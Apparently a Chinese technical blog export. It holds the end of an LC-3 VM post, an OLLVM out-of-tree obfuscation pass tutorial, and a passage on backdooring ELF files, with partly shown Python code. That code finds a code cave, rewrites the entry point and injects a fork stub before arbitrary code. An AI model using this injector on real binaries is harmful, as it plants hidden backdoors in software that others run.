add_executable</span>( </span>${PROJECT_NAME}</span> $<TARGET_OBJECTS:read_image> $<TARGET_OBJECTS:exec_inst> main.c )</span></span>
</span>
add_executable</span>( </span>${PROJECT_NAME}</span>-</span>test</span> $<TARGET_OBJECTS:read_image> $<TARGET_OBJECTS:exec_inst> </span>test</span>.c )</span></span>
enable_testing</span>()</span></span>
add_test</span>(</span>NAME</span> ${PROJECT_NAME}</span>-</span>test</span> COMMAND</span> ./</span>${PROJECT_NAME}</span>-</span>test</span> )</span></span>
SET_TESTS_PROPERTIES</span>( </span>${PROJECT_NAME}</span>-</span>test</span> PROPERTIES</span></span>
  PASS_REGULAR_EXPRESSION</span> "</span>All test passed!</span>"</span></span>
  FAIL_REGULAR_EXPRESSION</span> "</span>Test [</span>\\</span>d]+ fail!</span>"</span></span>
)</span></span></code></pre>refs</h2>
原文 https://justinmeiners.github.io/lc3-vm</a>
这个 C 实现的虚拟机封装比较完整 https://github.com/rpendleton/lc3sim-c</a>
这个实现里加了测试样例 https://github.com/viking/lc3-vm</a></p>


在 LLVM 代码树外编译 LLVM Pass (使用 OLLVM 示范)
2020-01-01T00:00:00+00:00
在网络上流传的编译 LLVM Pass 都需要一份 LLVM 源码，从整个源代码编译，编译非常花时间 (i7 6700HQ 使用 make -j8</code> 编译整个项目花了近 50 分钟)，所以在翻阅文档时发现 LLVM 支持在代码树外编译，在 1 分钟内编译一个 Pass，还是非常香的。</p>
项目配置</h2>
项目目录结构</h3>
本次作为示范的 OLLVM 是一个使用 LLVM Pass 进行代码混淆的项目。他的主要文件在于 ${LLVM 项目目录}/lib/Transforms/Obfuscation/</code> 和 ${LLVM 项目目录}/include/llvm/Transforms/Obfuscation/</code>。将这两个目录下的文件放入对应的目录就可以在代码树外编译 OLLVM 了。OLLVM 相关的文件可以在 GitHub</a> 找到。</p>
在项目根目录放置主要的 CMakeLists.txt</code> 和 代码目录，然后在代码目录中放代码和编译相关的 CMakeLists.txt</code> 。项目结构类似下面。</p>
$</span> tree</span> ollvm</span></span>
ollvm</span></span>
├──</span> CMakeLists.txt</span></span>
└──</span> Obfuscation</span></span>
    ├──</span> BogusControlFlow.cpp</span></span>
    ├──</span> CMakeLists.txt</span></span>
    ├──</span> CryptoUtils.cpp</span></span>
    ├──</span> Flattening.cpp</span></span>
    ├──</span> SplitBasicBlocks.cpp</span></span>
    ├──</span> Substitution.cpp</span></span>
    ├──</span> Utils.cpp</span></span>
    └──</span> include</span></span>
        ├──</span> BogusControlFlow.h</span></span>
        ├──</span> CryptoUtils.h</span></span>
        ├──</span> Flattening.h</span></span>
        ├──</span> Split.h</span></span>
        ├──</span> Substitution.h</span></span>
        └──</span> Utils.h</span></span>
</span>
2</span> directories,</span> 14</span> files</span></span></code></pre>两个 CMakeLists.txt</h3>
第一个是项目目录下的 CMakeLists.txt</code>，用来关联 LLVM 的文件，CMake 会按照一定的顺序寻找 LLVM 这个 Package，如果要手动指定的话使用 -DLLVM_DIR=</code> 这个选项来指定。</p>
cmake_minimum_required</span>(</span>VERSION</span> 3.10)</span></span>
</span>
find_package</span>(LLVM REQUIRED CONFIG)</span></span>
</span>
add_definitions</span>(</span>${LLVM_DEFINITIONS}</span>)</span></span>
include_directories</span>(</span>${LLVM_INCLUDE_DIRS}</span>)</span></span>
</span>
add_subdirectory</span>(Obfuscation)</span></span></code></pre>
下面是源代码目录下 CMakeLists.txt</code>，用来编译出 Pass 的动态库文件。</p>
cmake_minimum_required</span>(</span>VERSION</span> 3.10)</span></span>
</span>
include_directories</span>(./include)</span></span>
</span>
add_library</span>(LLVMObfuscation</span></span>
  MODULE</span></span>
  CryptoUtils.cpp</span></span>
  Substitution.cpp</span></span>
  BogusControlFlow.cpp</span></span>
  Utils.cpp</span></span>
  SplitBasicBlocks.cpp</span></span>
  Flattening.cpp</span></span>
)</span></span>
</span>
add_dependencies</span>(LLVMObfuscation intrinsics_gen)</span></span></code></pre>代码魔改</h3>
由于 OLLVM 的代码是放在主代码树中的，所以在提取出代码树外后可能需要进行一点魔改才能让 Pass 正常工作。以 BogusControlFlow.cpp</code> 为例，源代码的 runOnFunction()</code> 函数中检测了 "bcf" 是否在全局声明中存在，但是将文件提取出来后，直接在 opt</code> 加上相关参数就可以进行使用 Pass 了，所以将 if (toObfuscate(flag, &F, "bcf"))</code> 语句直接去除，留下混淆部分就行。</p>
  virtual</span> bool</span> runOnFunction</span>(</span>Function</span> &</span>F</span>)</span> {</span></span>
    //</span> Check if the percentage is correct</span></span>
    if</span> (</span>ObfTimes </span><=</span> 0</span>)</span> {</span></span>
      errs</span>(</span>)</span> <<</span> "</span>BogusControlFlow application number -bcf_loop=x must be x > 0</span>"</span>;</span></span>
      return</span> false</span>;</span></span>
    }</span></span>
</span>
    //</span> Check if the number of applications is correct</span></span>
    if</span> (</span>!</span>(</span>(</span>ObfProbRate </span>></span> 0</span>)</span> &&</span> (</span>ObfProbRate </span><=</span> 100</span>)</span>)</span>)</span> {</span></span>
      errs</span>(</span>)</span> <<</span> "</span>BogusControlFlow application basic blocks percentage </span>"</span></span>
                "</span>-bcf_prob=x must be 0 < x <= 100</span>"</span>;</span></span>
      return</span> false</span>;</span></span>
    }</span></span>
    //</span> If fla annotations</span></span>
    if</span> (</span>toObfuscate</span>(</span>flag</span>,</span> &</span>F</span>,</span> "</span>bcf</span>"</span>)</span>)</span> {</span></span>
      bogus</span>(</span>F</span>)</span>;</span></span>
      doF</span>(</span>*</span>F</span>.</span>getParent</span>(</span>)</span>)</span>;</span></span>
      return</span> true</span>;</span></span>
    }</span></span></code></pre>
修改后代码如下。</p>
  virtual</span> bool</span> runOnFunction</span>(</span>Function</span> &</span>F</span>)</span> {</span></span>
    //</span> Check if the percentage is correct</span></span>
    if</span> (</span>ObfTimes </span><=</span> 0</span>)</span> {</span></span>
      errs</span>(</span>)</span> <<</span> "</span>BogusControlFlow application number -bcf_loop=x must be x > 0</span>"</span>;</span></span>
      return</span> false</span>;</span></span>
    }</span></span>
</span>
    //</span> Check if the number of applications is correct</span></span>
    if</span> (</span>!</span>(</span>(</span>ObfProbRate </span>></span> 0</span>)</span> &&</span> (</span>ObfProbRate </span><=</span> 100</span>)</span>)</span>)</span> {</span></span>
      errs</span>(</span>)</span> <<</span> "</span>BogusControlFlow application basic blocks percentage </span>"</span></span>
                "</span>-bcf_prob=x must be 0 < x <= 100</span>"</span>;</span></span>
      return</span> false</span>;</span></span>
    }</span></span>
</span>
    bogus</span>(</span>F</span>)</span>;</span></span>
    doF</span>(</span>*</span>F</span>.</span>getParent</span>(</span>)</span>)</span>;</span></span>
    return</span> true</span>;</span></span>
  }</span> //</span> end of runOnFunction()</span></span></code></pre>开始编译</h2>
首先安装相关依赖，本文默认环境是 WSL Ubuntu 18.04</p>
$</span> apt</span> update</span></span>
$</span> apt</span> install</span> cmake</span> llvm-8</span> llvm-8-dev</span> gcc</span> #</span> gcc/clang 都行</span></span></code></pre>
在项目目录新建个 build</code> 文件夹，然后通过 CMake 的特性在 build 文件夹生成 Makefiles</code>，然后进行编译。-DLLVM_DIR</code> 的参数需要根据 LLVMConfig.cmake</code> 的位置进行改变。</p>
$</span> mkdir</span> build</span> &&</span> cd</span> build</span></span>
$</span> cmake</span> ..</span> -</span>DLLVM_DIR=/usr/lib/llvm-8/lib/cmake/llvm/</span></span>
$</span> cmake</span> -</span>-build</span> .</span> -</span>-</span> -</span>j</span>$(</span>nproc</span>)</span></span></code></pre>
然后在 build/Obfuscation</code> 下就会生成 libLLVMObfuscation.so</code></p>
Pass 使用</h2>
找了份 OJ 上题目的代码</p>
#</span>include</span> <</span>stdio.h</span>></span></span>
</span>
int</span> main</span>(</span>)</span></span>
{</span></span>
    int</span> score</span>,</span> enterFlag </span>=</span> 0</span>;</span></span>
    while</span> (</span>scanf</span>(</span>"</span>%d</span>"</span>,</span> &</span>score</span>)</span> !=</span> EOF</span>)</span></span>
    {</span></span>
        if</span> (</span>enterFlag</span>)</span></span>
            printf</span>(</span>"</span>\n</span>"</span>)</span>;</span></span>
        else</span> if</span> (</span>!</span>enterFlag</span>)</span></span>
            enterFlag </span>=</span> 1</span>;</span></span>
        if</span> (</span>score </span>>=</span> 90</span> &&</span> score </span><=</span> 100</span>)</span></span>
            printf</span>(</span>"</span>Excellent</span>"</span>)</span>;</span></span>
        else</span> if</span> (</span>score </span>>=</span> 80</span> &&</span> score </span><</span> 90</span>)</span></span>
        {</span></span>
            printf</span>(</span>"</span>Good</span>"</span>)</span>;</span></span>
        }</span></span>
        else</span> if</span> (</span>score </span>>=</span> 70</span> &&</span> score </span><</span> 80</span>)</span></span>
        {</span></span>
            printf</span>(</span>"</span>Average</span>"</span>)</span>;</span></span>
        }</span></span>
        else</span> if</span> (</span>score </span>>=</span> 60</span> &&</span> score </span><</span> 70</span>)</span></span>
        {</span></span>
            printf</span>(</span>"</span>Pass</span>"</span>)</span>;</span></span>
        }</span></span>
        else</span> if</span> (</span>score </span>>=</span> 0</span> &&</span> score </span><</span> 60</span>)</span></span>
        {</span></span>
            printf</span>(</span>"</span>Failing</span>"</span>)</span>;</span></span>
        }</span></span>
        else</span></span>
        {</span></span>
            printf</span>(</span>"</span>Error</span>"</span>)</span>;</span></span>
        }</span></span>
    }</span></span>
    return</span> 0</span>;</span></span>
}</span></span></code></pre>
先将代码编译成 LLVM IR (Bitcode 形式)，然后使用 opt</code> 调用 Pass 进行混淆，最后进行编译</p>
$</span> clang-8</span> -</span>emit-llvm</span> -</span>c</span> F.c</span> -</span>o</span> F.bc</span></span>
$</span> opt-8</span> -</span>load</span> ./libLLVMObfuscation.so</span> -</span>boguscf</span> F.bc</span> -</span>o</span> F_bogus.bc</span></span>
$</span> clang-8</span> F_bogus.bc</span> -</span>o</span> F_bogus</span></span></code></pre>
一波操作后 IDA F5 的反汇编如下。可以看到出现了虚假的跳转，让代码可读性变差了，说明 Pass 确实执行了。</p>
/*</span> This file has been generated by the Hex-Rays decompiler.</span></span>
   Copyright (c) 2007-2017 Hex-Rays <info@hex-rays.com></span></span>
</span>
   Detected compiler: GNU C++</span></span>
*/</span></span>
</span>
#</span>include</span> <</span>defs.h</span>></span></span>
</span>
</span>
//</span>-------------------------------------------------------------------------</span></span>
//</span> Function declarations</span></span>
</span>
//</span> int printf(const char *format, ...);</span></span>
//</span> __int64 __fastcall __isoc99_scanf(_QWORD, _QWORD); weak</span></span>
int</span> __cdecl </span>main</span>(</span>int</span> argc</span>,</span> const</span> char</span> *</span>*</span>argv</span>,</span> const</span> char</span> *</span>*</span>envp</span>)</span>;</span></span>
</span>
//</span>-------------------------------------------------------------------------</span></span>
//</span> Data declarations</span></span>
</span>
_UNKNOWN unk_400F24</span>;</span> //</span> weak</span></span>
int</span> x</span>;</span> //</span> weak</span></span>
int</span> y</span>;</span> //</span> weak</span></span>
</span>
</span>
//</span>----- (0000000000400560) ----------------------------------------------------</span></span>
int</span> __cdecl </span>main</span>(</span>int</span> argc</span>,</span> const</span> char</span> *</span>*</span>argv</span>,</span> const</span> char</span> *</span>*</span>envp</span>)</span></span>
{</span></span>
  bool</span> v4</span>;</span> //</span> [rsp+43h] [rbp-Dh]</span></span>
  signed</span> int</span> v5</span>;</span> //</span> [rsp+44h] [rbp-Ch]</span></span>
  int</span> v6</span>;</span> //</span> [rsp+48h] [rbp-8h]</span></span>
  int</span> v7</span>;</span> //</span> [rsp+4Ch] [rbp-4h]</span></span>
</span>
  v7 </span>=</span> 0</span>;</span></span>
  v5 </span>=</span> 0</span>;</span></span>
  while</span> (</span> 1</span> )</span></span>
  {</span></span>
    if</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
      goto</span> LABEL_42</span>;</span></span>
    while</span> (</span> 1</span> )</span></span>
    {</span></span>
      v4 </span>=</span> (</span>unsigned</span> int</span>)</span>__isoc99_scanf</span>(</span>&</span>unk_400F24</span>,</span> &</span>v6</span>)</span> !=</span> -</span>1</span>;</span></span>
      if</span> (</span> y </span><</span> 10</span> ||</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> ==</span> 0</span> )</span></span>
        break</span>;</span></span>
LABEL_42:</span></span>
      __isoc99_scanf</span>(</span>&</span>unk_400F24</span>,</span> &</span>v6</span>)</span>;</span></span>
    }</span></span>
    if</span> (</span> !</span>v4 </span>)</span></span>
      break</span>;</span></span>
    while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
      ;</span></span>
    if</span> (</span> v5 </span>!=</span> 0</span> )</span></span>
    {</span></span>
      printf</span>(</span>"</span>\n</span>"</span>)</span>;</span></span>
    }</span></span>
    else</span></span>
    {</span></span>
      if</span> (</span> !</span>v5 </span>)</span></span>
      {</span></span>
        do</span></span>
          v5 </span>=</span> 1</span>;</span></span>
        while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span>;</span></span>
      }</span></span>
      while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
        ;</span></span>
    }</span></span>
    while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
      ;</span></span>
    if</span> (</span> v6 </span><</span> 90</span> ||</span> v6 </span>></span> 100</span> )</span></span>
    {</span></span>
      while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
        ;</span></span>
      if</span> (</span> v6 </span>>=</span> 80</span> )</span></span>
      {</span></span>
        while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
          ;</span></span>
        if</span> (</span> v6 </span><</span> 90</span> )</span></span>
        {</span></span>
          if</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
            goto</span> LABEL_49</span>;</span></span>
          while</span> (</span> 1</span> )</span></span>
          {</span></span>
            printf</span>(</span>"</span>Good</span>"</span>)</span>;</span></span>
            if</span> (</span> y </span><</span> 10</span> ||</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> ==</span> 0</span> )</span></span>
              goto</span> LABEL_38</span>;</span></span>
LABEL_49:</span></span>
            printf</span>(</span>"</span>Good</span>"</span>)</span>;</span></span>
          }</span></span>
        }</span></span>
      }</span></span>
      if</span> (</span> v6 </span><</span> 70</span> ||</span> v6 </span>>=</span> 80</span> )</span></span>
      {</span></span>
        while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
          ;</span></span>
        if</span> (</span> v6 </span><</span> 60</span> ||</span> v6 </span>>=</span> 70</span> )</span></span>
        {</span></span>
          if</span> (</span> v6 </span><</span> 0</span> )</span></span>
            goto</span> LABEL_59</span>;</span></span>
          while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
            ;</span></span>
          if</span> (</span> v6 </span>>=</span> 60</span> )</span></span>
          {</span></span>
LABEL_59:</span></span>
            printf</span>(</span>"</span>Error</span>"</span>)</span>;</span></span>
          }</span></span>
          else</span></span>
          {</span></span>
            if</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
              goto</span> LABEL_52</span>;</span></span>
            while</span> (</span> 1</span> )</span></span>
            {</span></span>
              printf</span>(</span>"</span>Failing</span>"</span>)</span>;</span></span>
              if</span> (</span> y </span><</span> 10</span> ||</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> ==</span> 0</span> )</span></span>
                break</span>;</span></span>
LABEL_52:</span></span>
              printf</span>(</span>"</span>Failing</span>"</span>)</span>;</span></span>
            }</span></span>
          }</span></span>
          while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
            ;</span></span>
          goto</span> LABEL_37</span>;</span></span>
        }</span></span>
        printf</span>(</span>"</span>Pass</span>"</span>)</span>;</span></span>
      }</span></span>
      else</span></span>
      {</span></span>
        printf</span>(</span>"</span>Average</span>"</span>)</span>;</span></span>
      }</span></span>
LABEL_37:</span></span>
      while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
        ;</span></span>
LABEL_38:</span></span>
      while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
        ;</span></span>
    }</span></span>
    else</span></span>
    {</span></span>
      printf</span>(</span>"</span>Excellent</span>"</span>)</span>;</span></span>
    }</span></span>
  }</span></span>
  while</span> (</span> y </span>>=</span> 10</span> &&</span> (</span>(</span>(</span>_BYTE</span>)</span>x </span>-</span> 1</span>)</span> *</span> (</span>_BYTE</span>)</span>x </span>&</span> 1</span>)</span> !=</span> 0</span> )</span></span>
    ;</span></span>
  return</span> 0</span>;</span></span>
}</span></span></code></pre>refs</h2>
OLLVM (好久没更新了啊) https://github.com/obfuscator-llvm//obfuscator/tree/llvm-4.0</a></p>
LLVM 官方关于 CMake 构建项目的文档：http://releases.llvm.org/9.0.0/docs/CMake.html#developing-llvm-passes-out-of-source</a></p>
一个 LLVM Pass 骨架：https://github.com/sampsyo/llvm-pass-skeleton</a></p>


给 ELF 文件加上后门
2020-01-01T00:00:00+00:00
在渗透测试中，给常用的可执行文件加上后门是很常见的操作。但是之前的加后门 "The backdoor factory" 已经不维护了，而且还是 Python2 写的，代码质量也...所以我自己尝试着重新用 Python3 造了个轮子。在造轮子的过程中，由于 APUE 扔在学校里面了，导致在写和系统相关的汇编时出现了一些翻车情况...</p>
加后门的流程</h2>
基本分为两部分，先分析 ELF，然后根据之前的分析来给 ELF 加个"补丁"。</p>

先分析 ELF 结构，拿到 ELF File Header 和 ELF Program Headers (Segments) 的相关信息</li>
通过 ELF Program Header 找到带有执行权限的 LOAD 段，看看这个 LOAD 段后有没有 Code Cave。即寻找不属于其他的 Section，ELF 文件为了对其 Segments 而填充的大量 0 字节。如果 Segment 末尾出现了一堆 0 字节填充，并且大小合适的话，则选择在这段空白处作为后门的插入点</li>
扩充后门代码和辅助代码所在的 Segments 的 p_filesz 和 p_memsz，让后门代码得以加载进内存</li>
将 ELF File Header 的 e_entry 指向后门代码，让后门代码可以运行</li>
在空白处加入后门代码和相应的辅助代码</li>
</ol>
ELF 分析过程</h2>
介绍 ELF 结构的文章非常多，这里我推荐 UClib 的文档</a> ，里面讲了 ELF 的不同结构及其作用。有了这个文档后 ELF 文件的分析就非常简单了，可以使用 Python 的 struct</code> 库来提取数据进行分析。首先通过 ELF File Header 获取到 e_phoff</code> Program header 的文件偏移，然后 seek</code> 到相应位置解析 Program header。</p>
class</span> elf_info</span>:</span></span>
    '''</span></span>
    This class will parse ELF file and get information from ELF file.</span></span>
    '''</span></span>
</span>
    def</span> __init__</span>(</span>self</span>,</span> file</span>)</span>:</span></span>
        self</span>.</span>file</span> =</span> file</span></span>
        self</span>.</span>header</span> =</span> self</span>.</span>_parse_header</span>(</span>)</span></span>
        self</span>.</span>segments</span> =</span> self</span>.</span>_parse_segment</span>(</span>)</span></span>
</span>
    def</span> _parse_header</span>(</span>self</span>)</span>:</span></span>
        '''</span></span>
        header parse part.</span></span>
        '''</span></span>
        hdr</span> =</span> {</span>}</span></span>
        hdr</span>[</span>'</span>e_ident</span>'</span>]</span> =</span> unpack</span>(</span>'</span>4sccccc6sc</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>16</span>)</span>)</span></span>
        hdr</span>[</span>'</span>e_type</span>'</span>]</span>,</span> hdr</span>[</span>'</span>e_machine</span>'</span>]</span> =</span> unpack</span>(</span>'</span><hh</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>4</span>)</span>)</span></span>
        hdr</span>[</span>'</span>e_version</span>'</span>]</span>,</span> =</span> unpack</span>(</span>'</span><I</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>4</span>)</span>)</span></span>
</span>
        #</span> Entry point virtual address</span></span>
        hdr</span>[</span>'</span>e_entry</span>'</span>]</span>,</span> =</span> unpack</span>(</span>'</span><Q</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>8</span>)</span>)</span></span>
</span>
        #</span> segment/section header file offset</span></span>
        hdr</span>[</span>'</span>e_phoff</span>'</span>]</span>,</span> hdr</span>[</span>'</span>e_shoff</span>'</span>]</span> =</span> unpack</span>(</span>'</span><QQ</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>16</span>)</span>)</span></span>
</span>
        #</span> Processor-specific flags, ELF Header size in bytes</span></span>
        hdr</span>[</span>'</span>e_flags</span>'</span>]</span>,</span> hdr</span>[</span>'</span>e_ehsize</span>'</span>]</span> =</span> unpack</span>(</span>'</span><Ih</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>6</span>)</span>)</span></span>
</span>
        #</span> Program header table entry size, Program header table entry count</span></span>
        hdr</span>[</span>'</span>e_phentsize</span>'</span>]</span>,</span> hdr</span>[</span>'</span>e_phnum</span>'</span>]</span> =</span> unpack</span>(</span>'</span><hh</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>4</span>)</span>)</span></span>
</span>
        #</span> Section header table entry size, Section header table entry count</span></span>
        hdr</span>[</span>'</span>e_shentsize</span>'</span>]</span>,</span> hdr</span>[</span>'</span>e_shnum</span>'</span>]</span> =</span> unpack</span>(</span>'</span><hh</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>4</span>)</span>)</span></span>
</span>
        #</span> Section header string table index</span></span>
        hdr</span>[</span>'</span>e_shtrndx</span>'</span>]</span>,</span> =</span> unpack</span>(</span>'</span><h</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>2</span>)</span>)</span></span>
</span>
        return</span> hdr</span></span>
</span>
    def</span> _parse_segment</span>(</span>self</span>)</span>:</span></span>
        '''</span></span>
        segment/program header parse part.</span></span>
        '''</span></span>
        self</span>.</span>file</span>.</span>seek</span>(</span>self</span>.</span>header</span>[</span>'</span>e_phoff</span>'</span>]</span>)</span></span>
        segments</span> =</span> [</span>]</span></span>
        for</span> i</span> in</span> range</span>(</span>self</span>.</span>header</span>[</span>'</span>e_phnum</span>'</span>]</span>)</span>:</span></span>
            seg</span> =</span> {</span>}</span></span>
            #</span> Type of segment, Segment attributes</span></span>
            seg</span>[</span>'</span>p_type</span>'</span>]</span>,</span> seg</span>[</span>'</span>p_flags</span>'</span>]</span> =</span> unpack</span>(</span>'</span><II</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>8</span>)</span>)</span></span>
</span>
            #</span> Offset in file</span></span>
            seg</span>[</span>'</span>p_offset</span>'</span>]</span>,</span> =</span> unpack</span>(</span>'</span><Q</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>8</span>)</span>)</span></span>
</span>
            #</span> Virtual address in memory, Reserved</span></span>
            seg</span>[</span>'</span>p_vaddr</span>'</span>]</span>,</span> seg</span>[</span>'</span>p_paddr</span>'</span>]</span> =</span> unpack</span>(</span>'</span><QQ</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>16</span>)</span>)</span></span>
</span>
            #</span> Size of segment in file, Size of segment in memory</span></span>
            seg</span>[</span>'</span>p_filesz</span>'</span>]</span>,</span> seg</span>[</span>'</span>p_memsz</span>'</span>]</span> =</span> unpack</span>(</span>'</span><QQ</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>16</span>)</span>)</span></span>
</span>
            #</span> Alignment of segment</span></span>
            seg</span>[</span>'</span>p_align</span>'</span>]</span>,</span> =</span> unpack</span>(</span>'</span><Q</span>'</span>,</span> self</span>.</span>file</span>.</span>read</span>(</span>8</span>)</span>)</span></span>
</span>
            segments</span>.</span>append</span>(</span>seg</span>)</span></span>
        return</span> segments</span></span></code></pre>ELF 补丁过程</h2>
下面是 Patch 程序的主要流程了，首先是找到合适大小的 Code Cave，然后修改 ELF File Header 和 ELF Program Header 为后门代码准备相应的内存，并让后门代码得以运行，最后往这个 Code Cave 里填上辅助代码和相应后门。</p>
class</span> injector</span>:</span></span>
    def</span> __init__</span>(</span>self</span>,</span> file</span>,</span> inject_code</span>:</span> bytes</span>)</span>:</span></span>
        self</span>.</span>file</span> =</span> file</span></span>
        self</span>.</span>info</span> =</span> elf_info</span>(</span>self</span>.</span>file</span>)</span></span>
</span>
        raw</span> =</span> [</span>b</span>'</span>\x6a</span>\x39</span>'</span>,</span>                         #</span> push  0x39</span></span>
               b</span>'</span>\x58</span>'</span>,</span>                             #</span> pop   rax</span></span>
               b</span>'</span>\x0f</span>\x05</span>'</span>,</span>                         #</span> syscall</span></span>
               b</span>'</span>\x48</span>\x85</span>\xc0</span>'</span>,</span>                     #</span> test  rax, rax</span></span>
               b</span>'</span>\x74</span>\x12</span>'</span>,</span>                         #</span> jz    16</span></span>
               b</span>'</span>\xe8</span>\x00</span>\x00</span>\x00</span>\x00</span>'</span>,</span>             #</span> call  $+5</span></span>
               b</span>'</span>\x48</span>\x8b</span>\x2c</span>\x24</span>'</span>,</span>                 #</span> mov   rbp, [rsp]</span></span>
               b</span>'</span>\x48</span>\x81</span>\xed</span>\x00</span>\x00</span>\x00</span>\x00</span>'</span>,</span>     #</span> sub   rbp, offset</span></span>
               b</span>'</span>\xff</span>\xe5</span>'</span>,</span>                         #</span> jmp   rbp</span></span>
               inject_code</span>]</span>                         #</span> inject code</span></span>
        code</span> =</span> b</span>'</span>'</span>.</span>join</span>(</span>raw</span>)</span></span>
</span>
        segs</span> =</span> self</span>.</span>find_cave</span>(</span>len</span>(</span>code</span>)</span>)</span></span>
        if</span> len</span>(</span>segs</span>)</span> ==</span> 0</span>:</span></span>
            logger</span>.</span>error</span>(</span>'</span>No cave in the program</span>'</span>)</span></span>
            return</span></span>
</span>
        target_idx</span> =</span> segs</span>[</span>0</span>]</span>[</span>'</span>index</span>'</span>]</span></span>
        target</span> =</span> self</span>.</span>info</span>.</span>segments</span>[</span>target_idx</span>]</span></span>
</span>
        new_size</span> =</span> target</span>[</span>'</span>p_filesz</span>'</span>]</span> +</span> len</span>(</span>code</span>)</span></span>
        logger</span>.</span>info</span>(</span>f</span>'</span>Writing file/mem size to 0x</span>{</span>new_size</span>:x</span>}</span>'</span>)</span></span>
        self</span>.</span>extend_seg_size</span>(</span>target_idx</span>,</span> new_size</span>)</span></span>
</span>
        code_va</span> =</span> target</span>[</span>'</span>p_vaddr</span>'</span>]</span> +</span> target</span>[</span>'</span>p_filesz</span>'</span>]</span></span>
        logger</span>.</span>info</span>(</span>f</span>'</span>Writing entry to 0x</span>{</span>code_va</span>:x</span>}</span>'</span>)</span></span>
        self</span>.</span>modify_entry</span>(</span>code_va</span>)</span></span>
</span>
        code_foffset</span> =</span> target</span>[</span>'</span>p_offset</span>'</span>]</span> +</span> target</span>[</span>'</span>p_filesz</span>'</span>]</span></span>
        entry_offset</span> =</span> code_va</span> +</span> \</span></span>
            len</span>(</span>b</span>'</span>'</span>.</span>join</span>(</span>raw</span>[</span>:</span>6</span>]</span>)</span>)</span> -</span> self</span>.</span>info</span>.</span>header</span>[</span>'</span>e_entry</span>'</span>]</span></span>
        raw</span>[</span>7</span>]</span> =</span> raw</span>[</span>7</span>]</span>[</span>:</span>3</span>]</span> +</span> pack</span>(</span>'</span><I</span>'</span>,</span> entry_offset</span>)</span></span>
        logger</span>.</span>info</span>(</span>f</span>'</span>entry_offset == </span>{</span>entry_offset</span>}</span>'</span>)</span></span>
